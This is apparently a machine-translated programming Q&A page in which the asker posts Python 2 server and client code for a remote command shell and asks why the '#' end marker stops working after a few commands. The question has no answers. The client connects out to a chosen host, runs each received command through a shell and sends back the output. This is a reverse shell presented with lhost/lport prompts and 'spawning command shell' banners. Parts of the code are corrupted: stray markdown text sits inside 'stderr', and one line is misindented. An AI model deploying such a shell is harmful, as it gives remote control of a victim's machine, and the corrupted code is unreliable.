Python Server Client远程命令执行:执行2个以上命令时出错

时间:2016-12-31 20:06:13

标签: python

服务器代码:

#!/usr/bin/python

import socket
import threading
import sys
import os
import time


bind_ip = raw_input("\nset lhost : ")
print "lhost set %s" % bind_ip

bind_port =int(raw_input("\nset lport : "))
print "lport set %s" % bind_port

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))
server.listen(5)

time.sleep(0.8)
print "\n[*]Listening on %s:%d" % (bind_ip, bind_port)

client, addr = server.accept()

time.sleep(0.8)
print "[*] Binding connection on %s:%d" % (bind_ip, bind_port)

time.sleep(0.8)
print "[*] Accepted connection from %s:%d" % (bind_ip, bind_port)

time.sleep(0.5)
print "[*] Spwaning command shell"

time.sleep(0.5)
print "[*] Spwaned!!"


while True:

    try:
        print "\ncommand$control:~$"
        # take commands
    #   command = raw_input("\ncommand$control:~ ")
        command = sys.stdin.readline()
        # if command == exit then exit
        if command == "exit\n":
            print "[!] Exiting..!"
            client.send(command)
            client.close()
            os._exit(1)


        else:   # send 1st command
            client.send(command)
            recvd = None
            # if recvd == # break loop and ask next command
            while recvd != "#":
                recvd = None
                recvd = client.recv(4096)
                    if recvd == "#":
                    break
                elif len(recvd):
                    recvd = recvd.replace('\r', '').replace('\n', '')
                    #recvd = recvd.rstrip('\t')
                    print recvd

    except Exception, e:
        print "Error: %s" % str(e) 
        os._exit(1) 

客户代码:

#!/usr/bin/python

import socket
import threading
import subprocess
import sys
import os

target_host = raw_input("set target host: ")
target_port = int(raw_input("set target port: ")) 

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect((target_host, target_port))

def run_command(command):

    output = ''
    command = command.rstrip()
    output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, s**strong text**tderr=subprocess.STDOUT)

    for line in iter(output.stdout.readline, ''):
        line = line.replace('\n', '').replace('\r', '').replace('\t', '')
        print line
        client.send(line)
        sys.stdout.flush()

while True:
    try:
        cmd_buffer = ""
        while "\n" not in cmd_buffer:

            cmd_buffer+=client.recv(1024)
            if cmd_buffer == "exit\n":
                client.close()
                os._exit()


            run_command(cmd_buffer)
            # After run_command for loop ends, # is send to break
            # from the server's while loop
            client.send("#")

    except Exception:
        client.close()
        os._exit(0)

代码有效,客户端发送#'#'服务器指示已完成发送实时命令输出,因此服务器在接收'#'从循环中断,并请求下一个命令。但是在输入2/3命令之后,#将被打印在服务器stdout上,这应该是' nt并且它不会从循环中断开。此外,客户端的输出没有收到,因为我已使用replace()格式化它。请帮助。非常感谢。

0 个答案:

没有答案